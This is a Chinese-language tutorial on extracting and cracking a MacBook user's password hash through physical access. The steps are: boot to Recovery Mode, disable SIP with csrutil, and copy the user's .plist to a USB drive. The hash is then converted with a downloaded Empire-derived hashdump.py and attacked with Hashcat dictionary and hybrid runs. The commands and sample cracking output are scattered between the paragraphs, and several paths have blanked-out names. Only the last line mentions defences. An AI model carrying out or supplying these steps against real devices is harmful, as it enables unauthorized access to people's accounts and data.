ls -R /Volumes//var/db/dslocal/nodes/Default/
关闭电源的MacBook可以在不到三分钟的时间内完成。只需几个命令,黑客就有可能在不知情的情况下提取目标的密码哈希并对其进行破解。本文的目标是获取目标的.plist文件,其中包含散列密码。然后,使用Python脚本将.plist文件转换为Hashcat可以解释的格式,以强制显示密码。执行此攻击的最简单方法需要物理访问目标MacBook,恢复模式,USB闪存驱动器,另一台MacBook和Hashcat。也可以通过在目标MacBook上创建临时用户来执行命令来省略USB闪存驱动器和攻击者的MacBook。完成后,可以删除临时用户。但是,对于本指南,我们将显示USB闪存驱动器方法。恢复模式是Mac设备支持的几种启动模式之一。它包括许多用于重新安装macOS,重置帐户密码和配置固件密码的工具。虽然此功能旨在帮助用户锁定其帐户并擦除内部硬盘驱动器,但它经常被黑客试图获取未经授权的敏感文件访问权限所滥用。从Mojave 10.14开始,macOS不再允许用户(甚至root用户)在操作系统运行时修改包含散列密码的.plist文件。现在只能使用恢复模式获取此数据。需要USB闪存驱动器才能将目标的.plist文件从MacBook移动到攻击者。本教程中使用的USB闪存驱动器是FAT32格式的,但NTFS和APFS格式也可以使用。特色Python脚本中有一些特定于macOS的命令,可以很容易地将.plist文件转换为Hashcat可以解释的格式。这就是为什么需要另一台MacBook(或目标MacBook上至少另一个帐户)的原因。要找出目标的Mac密码而不更改它,哈希将需要强制破解。MacOS在保护目标密码方面做得非常出色。无法以纯文本格式查看用户密码。基于CPU的破解解决方案(如JohnTheRipper)将花费数十年时间来破解单个散列,因此无效。强烈建议使用具有良好GPU的Hashcat。进入恢复模式要访问恢复模式,请首先确保目标MacBook完全关闭。然后,在按住键盘上的Command+R的同时按电源按钮。大约30秒后,将出现Apple徽标,并且可以释放Command+R键。如果出现以下屏幕,则表示已成功启用恢复模式,读者可以继续执行本教程中的下一步。如果MacBook请求密码,则表示固件受到保护并配置为防止恢复模式攻击。不幸的是,这意味着目标MacBook不容易受到本文所示的攻击。禁用SIP(有条件)Apple的系统完整性保护(SIP)是一项安全功能,旨在限制部分macOS被修改。从Mojave开始,/ var / db / dslocal / nodes / Default /目录在SIP保护范围内,如果有人试图查看它,将返回“不允许操作”消息。它甚至可以防止root用户更改和访问选择的目录。在一次测试中,我发现即使在恢复模式下也无法查看或修改默认/目录。这有点异常,因为其他测试允许在没有首先禁用SIP的情况下访问Default /。要确定是否需要禁用SIP,请在恢复模式下打开终端。在屏幕顶部的菜单栏中,选择“Utilities”,然后选择“Terminal”。然后,使用以下ls-R命令。
csrutil disable
Successfully disabled System Integrity Protection. Please restart the machine for the changes to take effect.
此命令将尝试递归(-R)列出Default /目录中的文件。如果输出返回许多.plist文件,请不要禁用SIP并继续执行本教程中的下一步。如果输出返回“Operation notallowed”,请使用以下csrutil命令禁用SIP。
cp /Volumes//var/db/dslocal/nodes/Default/users/.plist /Volumes//
出现重启提示后,再次关闭并启动进入恢复模式。禁用SIP后,可以安全地继续本教程的下一步。提取目标Plist将USB闪存盘插入目标MacBook。等几秒钟让它自动安装。然后,使用以下cp命令将所需的.plist文件复制到USB驱动器。目标.plist将使用目标的用户名(例如,tokyoneon.plist)。
csrutil enable
请务必在上面的命令中更改。这可能是“macOS”,但如果目标在几年前购买MacBook并升级到Mojave或High Sierra,可能会有所不同。在这种情况下,硬盘驱动器名称可能显示为“Macintosh HD”或某些变体。另外,将更改为插入MacBook的USB闪存盘。而已。已经提取了必要的文件,目标MacBook可以关闭,本教程的其余部分需要攻击者拥有的单独的MacBook。如果在上一步中禁用了SIP,请在使用以下命令关闭之前重新启用它。
cp /Volumes//.plist /tmp/
将Plist复制到Attack的机器使用攻击者的MacBook,插入包含目标的.plist的USB闪存驱动器,并将其复制(cp)到/ tmp /目录。/ tmp /目录在下一步中被硬编码到Python脚本中,以使其足够通用,以供所有读者遵循。只要目标的.plist文件位于/ tmp /目录中,Python脚本就能将其转换为哈希。
curl 'https://raw.githubusercontent.com/tokyoneon/hashdump.py/master/hashdump.py' -o hashdump.py
下载并执行Hashdump Python脚本用于将提取的.plist文件转换为Hashcat首选格式的Python脚本取自Empire框架,可以在GitHub上找到。打开终端并使用以下curl命令下载hashdump脚本。该-o参数将保存脚本与“hashdump.py”文件名。
chmod +x hashdump.py
sudo python hashdump.py
[('tokyoneon', '$ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65616f7ce11abb3f04786729c$88ad7849c5b30cce20b9d6ecde9e5be3b6736646965e0414d45d40510a574f864bafd9c5dc06fdb3cb189b877c3aa1312c2e4497ea854d3653f5861365d41a4250042a78c93dace17d212ccbb6584e3350efe95bd138f27b1705ad97166d2f11fb749b6138139a9e1ebeecb1a96750db53dbf75434c4b320b500589fa64bf5f8')]
$ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65616f7ce11abb3f04786729c$88ad7849c5b30cce20b9d6ecde9e5be3b6736646965e0414d45d40510a574f864bafd9c5dc06fdb3cb189b877c3aa1312c2e4497ea854d3653f5861365d41a4250042a78c93dace17d212ccbb6584e3350efe95bd138f27b1705ad97166d2f11fb749b6138139a9e1ebeecb1a96750db53dbf75434c4b320b500589fa64bf5f8
然后,使用chmod命令授予脚本执行权限。最后,使用root权限执行hashdump.py脚本。删除哈希周围的文本(如下所示)并将其保存到名为“hash.txt”的文件中。然后,将hash.txt移动到Hashcat机器。
hashcat -a 0 -m 7100 /path/to/hash.txt /path/to/wordlists/passwords.txt -w 4 --potfile-path /tmp/cracked_hash.pot
hashcat -a 6 -m 7100 /path/to/hash.txt /path/to/wordlists/everyword.txt ?d?d -w 4 --potfile-path /tmp/db.pot
破解哈希要使用Hashcat破解目标的哈希,请使用以下命令。使用-a 0参数指定字典攻击或“直接模式”。特定于macOS的散列模式使用-m 7100参数启用,并且对于从10.8或更高版本中提取的所有macOS散列都是必需的。要提高Hashcat的整体性能,请将-w(或–workload-profile)设置为4,以最大限度地提高破解速度。最后,-potfile-path参数用于将破解的哈希保存到指定的文件。还可以执行混合攻击,其中数字组合被附加到词列表中的每个词的末尾。例如,“password12”和“password77”。
Session..........: hashcat
Status...........: Running
Hash.Type........: macOS v10.8+ (PBKDF2-SHA512)
Hash.Target......: $ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65...d41a42
Guess.Base.......: File (/root/wordlists/passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 7740 H/s (98.63ms) @ Accel:256 Loops:64 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/329968 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/329968 (0.00%)
Candidates.#1....: 123456 -> zzzzzzzz9
HWMon.Dev.#1.....: Temp: 57c Fan: 31% Util:100% Core:1873MHz Mem:3802MHz Bus:16
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
使用-a 6参数启用混合攻击。这次包含479,000个英语单词的“everyword”单词表与?d?d结合使用,它告诉Hashcat将每个可能的两位数组合附加到单词表中的每个密码。要附加三位或四位数,请分别使用“?d?d?d”和“?d?d?d?d”。在Hashcat运行时,将显示以下数据。如果密码正确猜测,它将出现在终端的底部,Hashcat将停止。
$ml$27548$ba6261885e...
哈希破解注意事项确定哈希将要破解多长时间很难推测。基于几个因素,字典和混合攻击可能需要不同的时间。如何保护自己免受恢复模式攻击用户可以采取一些措施来抵御此类攻击(见下文)。有关一般的macOS保护建议,请查看“黑客攻击macOS的终极指南”。